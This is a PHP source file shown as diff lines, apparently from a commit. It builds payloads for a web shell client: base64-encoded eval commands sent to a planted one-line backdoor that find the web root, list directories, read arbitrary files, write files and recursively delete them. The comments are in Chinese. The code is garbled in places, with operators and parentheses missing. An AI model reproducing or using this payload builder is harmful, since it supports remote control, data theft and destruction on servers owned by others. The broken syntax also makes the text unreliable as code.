1+ <?php
2+ /**
3+ * PHP 一句话payload生成
4+ */
5+ class PHPShell_Build_Model
6+ {
7+ var $ phpshellarray (
8+ 'link ' => '{PASS}=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0= ' ,//连接前缀
9+
10+ 'safe ' => "@ini_set('display_errors','0');@set_time_limit(0);@set_magic_quotes_runtime(0); " ,//payload前缀
11+
12+ 'flag_left ' => 'echo("->|"); ' ,//左标志位
13+
14+ 'flag_right ' => 'echo("|<-");die(); ' ,//右标志位
15+
16+ 'GetWebRoot ' => '$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D==""){$D=dirname($_SERVER["PATH_TRANSLATED"]);}$arr = array("WebRoot" => $D);echo json_encode($arr); ' ,//获取一句话目录
17+
18+ 'GetWebDiskFileList ' => '$D=base64_decode($_POST["z1"]);$F=opendir($D);
19+ if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$tmparr = array(); while($N=readdir($F)){$P=$D."/".$N;$T=date("Y-m-d H:i:s",filemtime($P));$E=substr(base_convert(fileperms($P),10,8),-4);$arr = array("time" => $T, "size" => filesize($P),"root" => $E,"path" =>urlencode(is_dir($P)?$N."/":$N));$tmparr[] = $arr;}echo json_encode($tmparr);closedir($F);}; '//获取磁盘文件
20+
21+ 'GetWebFileContent ' => '$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P); ' ,//得到文件内容
22+
23+ 'CreateAndSaveFile ' => 'echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0"; ' ,//创建文件
24+
25+ 'DeleteFile ' => 'function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");} ' ,//删除文件
26+ );
27+
28+ public function Conbinationx ($ value'' )//组合payload
29+ {
30+ return $ this phpshell ["safe " ].$ this phpshell ["flag_left " ].$ value$ this phpshell ["flag_right " ];
31+ }
32+
33+ public function GetWebRootPath ()//取一句话目录
34+ {
35+ $ payload$ this Conbinationx ($ this phpshell ["GetWebRoot " ]);
36+ $ payloadurlencode (base64_encode ($ payload
37+ $ payload$ this phpshell ["link " ].$ payload
38+ return $ payload
39+ }
40+
41+ public function GetWebDiskFileList ()//取磁盘文件
42+ {
43+ $ payload$ this Conbinationx ($ this phpshell ["GetWebDiskFileList " ]);
44+ $ payloadurlencode (base64_encode ($ payload
45+ $ payload$ this phpshell ["link " ].$ payload'&z1={PATH} ' ;
46+ return $ payload
47+ }
48+
49+ public function GetWebFileContent ()//取文件内容
50+ {
51+ $ payload$ this Conbinationx ($ this phpshell ["GetWebFileContent " ]);
52+ $ payloadurlencode (base64_encode ($ payload
53+ $ payload$ this phpshell ["link " ].$ payload'&z1={PATH} ' ;
54+ return $ payload
55+ }
56+
57+ public function CreateAndSaveFile ()
58+ {
59+ $ payload$ this Conbinationx ($ this phpshell ["CreateAndSaveFile " ]);
60+ $ payloadurlencode (base64_encode ($ payload
61+ $ payload$ this phpshell ["link " ].$ payload'&z1={PATH}&z2={Content} ' ;
62+ return $ payload
63+ }
64+
65+ public function DeleteFile ()
66+ {
67+ $ payload$ this Conbinationx ($ this phpshell ["DeleteFile " ]);
68+ $ payloadurlencode (base64_encode ($ payload
69+ $ payload$ this phpshell ["link " ].$ payload'&z1={PATH} ' ;
70+ return $ payload
71+ }
72+ }
0 commit comments